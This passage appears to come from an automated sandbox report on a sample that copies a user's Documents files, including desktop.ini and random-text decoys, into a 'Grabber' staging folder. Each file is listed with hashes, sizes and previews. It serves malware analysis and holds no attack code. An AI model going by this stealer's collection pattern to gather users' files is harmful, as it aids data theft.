SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\NHPKIZUUSG.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\PSAMNLJHZW.jpg

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\PSAMNLJHZW.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	PSA archive data
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698960923923406
Encrypted:	false
SSDEEP:	24:mGnbK2uIv9xuPtDhsIChdpYx5eCmVRCqmDCL4yq/6jv:fpuVKIChHYve9RC2LpEK
MD5:	186B4E00711974F7AF578BD6FF959BBF
SHA1:	642B794D73FB09655FBFF8EDCAAA267634554569
SHA-256:	2505B69640298D08BF2DC435A6D289C1FE7ABB349D2017F63EAD8CD2C94199EF
SHA-512:	DD6260B7AF96C7449D3DB4826888F7EAD8F274F9E170E103D588B0AB00A044B5978544A10F7B3C0C8464B74FD10B087C5671177AC1468D7F172DF4E7644A336E
Malicious:	false
Preview:	PSAMNLJHZWSQDMAZGNPSQVJPYSFUCTTGDJYZLMXSOOEBVYTMYXCFKBUKVYFFHMXRUCYMSTINQFSWBKGZHWWOXSUHIJJAHELKVUMDNJZMRMZFKOUIQGCNVNZVXKWKRUMIVVNVMXPLQTYNNEISPTFLHCHCESXNGLPJCEUOVDOFSSNZDEVGGWGRIJYDNPIXZZQRIXXGAVNXXGMBNWDRPEIKJPBTWXUETHQXVKVNRJASMGUWQWQPUCAORVUSLGQPHEZAOFOACKQOBETERETOORPNJFKDGTDRHKRKEEAGCTYGGVCLOVTVNKIGBHRQXIREFRVVEMBZIDHIFEIOHPIJYGZWGTQWILPNZTDESONAGSHAQLUAVRKHMFOMOQYJXRVMLCUUJVOTUCVOEBKITXOZUZGZKCYNALMRPHSNXGINUBTOYHFDFQLRSZOZWPZGUFGNQWCZHZIXHOYMIXONKNPROHQRYFNTXULDHBFGYLGFAUXJWMFXTRDTCJKCQRMPSJWGMOUCEGLQWZCNKFEKFEUJJIUNMHRRSZPYMRYVQQYYPMGHHEKAQFKKXELSAQQLSLKKUPFWZCMCMFAINYSBZBCFXHKVLASFVZCXQXXXZLHZDHVGKAFBMUFYPUMCUFVZMLVFPOUFRVLCXBIJNSPUAJZYMLVZAAGXYNUCZCXJWFYMHPNYUZQZEKWRMDNWTUBEAPAAIVGGSWPFGRSUHMUGOYCHHBOMRHKMENUQTICOXQBOTOWXHARDPYNZYJCISYKDDFBREXFJNPUTCEDQXTRWWXEGLPLZBRUZXKHOJYFWTASZSDLWXBSEYMHYXZCADAYDPKFTVEVMYYPXPKGKKZUPTORUPLLMBXPDGYHRPPKYZOAWNEPPXHMTQWXMSQFVUTRDJEQKYSLZXRWAHJVOXMIJIPEMOVSQXZXCXSWRQRFYBFUTICJAAGKRSNWDBSGSEWJUBOEPILXBOYUDRCBRFHNBWDQPKBAZMBFBVNFLUTVKABREBJZU

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD\AFWAAFRXKO.xlsx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6868290294905215
Encrypted:	false
SSDEEP:	24:hl+yWbugHn0w0RW4TAvC5oC6Rkc1ZqX+STxhexRov:hQhuTwqTAvIuOuQXVEov
MD5:	E655D05DEDA782A6FE1E44028236D3A4
SHA1:	ABEF573CA92D8CD16E5ACE5C300A6BF07DF79722
SHA-256:	69FC1A8F39F8BD7E956A4C8EC0EC6210E8F4C7E223B49C20369A2B47F8512528
SHA-512:	25837AEEB2772BF69684BDB344208188E115AA8FCB06D5428F84D2ED15F4972FC6874B128CA3682D28900F5C0EB8B305151F831962D3021EE7BBD1447DAE93F5
Malicious:	false
Preview:	AFWAAFRXKOIMYUTEBKLCFYUSMPKBLLVLYCZSBYQARRBIDNMYLPLGAIJYBPXZRRCDKWUJCZFNZYWJLJWCPPNWNBUNUKWKANAFJTGSMNDNAIPWYCCUGZTWCXIDUHLKDIIFXVZZCBKTKZXKYBFQHLHAZSPAYNVQVCNGPTZLFAFXAUGISISAIITTEUPNXLWBPAUSCWOXHRUCHKENHIUHQCSETCRINBBJCUJCYIOYZUPBJXJBLMSTCMXHMOOYHKSQGTGUNLEDPMCFDKWDGOSMWYQNXDCAOPAGZLPKXQZAOHSJXYLJUCZGAXOJOEPCWBHGGKSAPLRCJRDKCIWGATZZLSAOXFPFIENHFZCCEZCGGYAJEEPJFJLQIMPYUUETJJFOGGKKJKFAHPRMCUJNDGTXMLAAQDGEQMDULWDPCAUXZTYYGKAFFQQHIKQHEATUJZECMPTEBTRHCFGIZWCYGIGHIPVWFTPPXSNUTYHQCLGJLUYHHVMGFOMHJDNRGDZFHRGYQORTAJWLGOELYKCPIANQGCAXIZOMJZOECZGAHFWNUAKKTHLAANRBUSOZZLNWUYMXDOWPYUFYBOZZZBBJKPNMFGUCBOUWTXXWSNOBHKCPLGIWSWHHNCKLLLPPBPRJTKGRWMIZJYLWMDVWGJOTUQLYVUGUJQWNZKEUZQCQHKTCMGXBZDWEEFWYQHSYEMWFFVJUDOFEXELJGUUNXPBJCIQBKCMDGDRNTXYAXFDSLPAGXBTGBIVFXAHNXSFIPLCMCBKLQODIOGOBZMULDRUZUBRXZWXQVZCCWQVEIFCHMCTEYQXZKNSQZNYDUYGPGUQJEKUPPOTOWMMILZMISKYYGSRXUSSWEEQRNYBWLFXYWKGQPPVHKNOOXEDYWLCRNTNRKUIUKCYQNZCKIXAOIPCOTLEREPCLILYTQLFKBOOMXEVVODZEITSUPQITOXCNMSODLXIRGYOVFXWNRMVUQTMIZKKEVHOWKLXSZARGDNQKVXETZPBS

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD\NHPKIZUUSG.pdf

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.70435191336402
Encrypted:	false
SSDEEP:	24:q83Oua2II99Dm5Xcf7kmp5fFjUTZF/+akoYY9fBpCtJ6Wi5v:7OD2ISi5Xcz9l8RkcFCJ6Wix
MD5:	8C1F71001ABC7FCE68B3F15299553CE7
SHA1:	382285FB69081EB79C936BC4E1BFFC9D4697D881
SHA-256:	DCC1D5A624022EFCE4D4A919041C499622A1213FD62B848C36E6252EE29B5CAE
SHA-512:	8F2124445F7856BFFBB3E7067135CFA70BFB657F8CEAEE89312CF15CFA127CACF28C2F1F9CD1CC64E56A8D8C248E237F2E97F968D244C457AD95D0AD5144E2A7
Malicious:	false
Preview:	NHPKIZUUSGERQSLBGSEAVXGNDWXNHRIMGKQZIYGMNAKLDSDLMZTSHWNQSMRLTOXKIQVZWPTPMYGCCCTOQMOFGPYVVCCUDORIXMMXDHKCETULBHLJENABEIJPTFOHFPIUUSFPUHSBHENDANFMOYZRZAXYVFEZIKDKUEVZAWEFKRTUJZPFUDMEZZQVBGYMMIHKEBYJMJMTTXSDTDQAUATXLABLBEJUBBPSXZPXMHVNHOHYPKCYLDVGJSBPEXWGYVPHWPWLYJIOFFNQHAOBSRORLXUKIHEETKPFDPHQAGTKOMEWPBYGMTXHOQFINPIQARIVGCFUFIETTFUMCUDHRHCSTIZWRDJEHWOLAFOSWAVIGSWONBSKFWHCQAGHLWBKAFUQUULJRVZNUGGVOCCVTTWZEZFPJKZDJMHDYXQKDPLRECPAAEZVBXFDGZJIUGNMOEAISGBSPVTDRADHODLAXUFWZVTJPIGKERLENNAJHHHNNAPBWXCOGJSNVQJJEEPSMESQKGYOHXVMZQNSMSJHQHSGCJZCBZJXMLGNQQKZRIQSQCAWXZFCRMGMMLKHZDWNQTXPTYWGWNQQEQWEZJPQVPOASQIIJYWPUVLHFSLMGHWITYEKRNYGXYTAJZSRGYUWTMRNOICIEPMAYUOIDDOUSYSPAILYQQLYDTBOTEDGSCNXDRRQMOBWCQMDCQXTPEXDKPLVRMFZSKERSAULAYLSOJGDMFTZECKZYYLQVVDOMXISCOBUPPSAYUFOWOCBDJALHRAXDIKEMRYGQMEYTENAHXKWSVJEDEJTIUWZDHLIBKQRVMQLSAYIIOZDWWOLHCJUVJVRYJLTIENWCTYDOSJVSFUHOQPOXCMFGTAWFRCZJNYBCRPUFRUMZIBQDOVOBMFCHMMFHSSJZDCZNMWNCNSQMZWHCOEYNCAFONSABBQCKAPFWJIGKNUCUJZWUKRWIOFVWQWFSYAHDWXEMJKFZYMRVIRAMPVKBXONBJFTXIBDAYIE

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD\QVTVNIBKSD.docx

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695938097013837
Encrypted:	false
SSDEEP:	24:z3kwMX3+NBj4ilMczAMBVgs3WrV8bfMbETQzpns7vh2HCpPQ:bkww3UGiJyGWr3RMvh2HC9Q
MD5:	DC3E834A02B2C81DF0167ACE639BA00F
SHA1:	32859A24EE65CBB3BD804D02639FCC4745C1CBC9
SHA-256:	0034D483C5EB801444D442E100E6B97859FB3752243C3323578F94083F469A29
SHA-512:	CA0BEDA568B13F4522ABFCBD8E73CD96AEEF991C8896E5C9F03D999722498840CFF29265340F8D86267E8E134085300FF8D42EC5E4741229332DEAD4B30E6D0F
Malicious:	false
Preview:	QVTVNIBKSDCTAQBGAOXCDNDJJSYXWJGWLNQZGTIRDPOXBJKWLQKQGHTGEEYZCSQXRIHLQYWVXDHEUMWEKWFGJLMYICQYBHNEZJWDJOGRRNRTOYBVHVOADCWLJBCJDEJQGWHIISDSHGZRWITARTFGZLYVQWZDXCBALJESXBFEMTGTIZQWIKXFTDQGTAMDONWUIJUYOKJXLUTMOCIHGFKUVWTZWGGDCWXLKJNCFYDCGKWQMLFWZQSHHWIEETWTGXVBHMSPQQUETSKWPAJFMRFRCHDNYKBAAHPLMJRBBAJTVLLAUUCLJYJMJLBKQGNTWGMPYQTUPYRFGMYPSFAZKFDAZPZSDSLLFCSCKJNYWUFBZSQQHSKWDGIBILREFDZJQVIODCTVEDOBTVFRFOHJOUFGKJWSBYWFYBYTUGQGTLYPZCUIXPOJLCNPDOVBXWCGCWSAJJFYOSWSVKPATDKQJRADERJVQVTQESFPSXRVBVEDLVTQYWXVFAKVPURCBYBIAPAQUFQNNEYDRUYBOOCMWAVFRHNFPGDIUCRWCXKMXPIRSBECJROTFLGGLOLFKFRGHTSAIKSQPSZXJDXWBHZHVBFILAACTJHJEQBYDONPYTGLNXEZPFCIDHTTHGIOFCTFHRHIJGRCZPVJAOXIBAJIEMVNELYPQKBHQECWJYTAPCZMZNVFUTOKDAKOXRQKSDSHHXCNPTOQACAKMZSIGEKSTZYQWWAIYNMYZGDCJITHDWZHQWHGDAHXUUSQNHSEWLINMAVJEJLBWIZQNZHARGRNBGZEQKQKZKRPFIWNXAVGMLKQJEJDYBDRSHJBULSDTLIKLIFONGYGERWNAHSKLLHMDBCSSWVOEIGUACWQMNZYBQMRIYIQZQOYRZUOCZWOMBFRIJMVRKAWJHTMEMGVQYWBBMYZGCFTJKRLDPFOIYFDWQUEGJXKLKIPLVLNTFZCDKJMEKYNPPGPMXAGDHXGEVWCGIHPFBAPAKCGGKURXQFPUIQV

C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Documents\QVTVNIBKSD\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\cOH7jKmo25.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
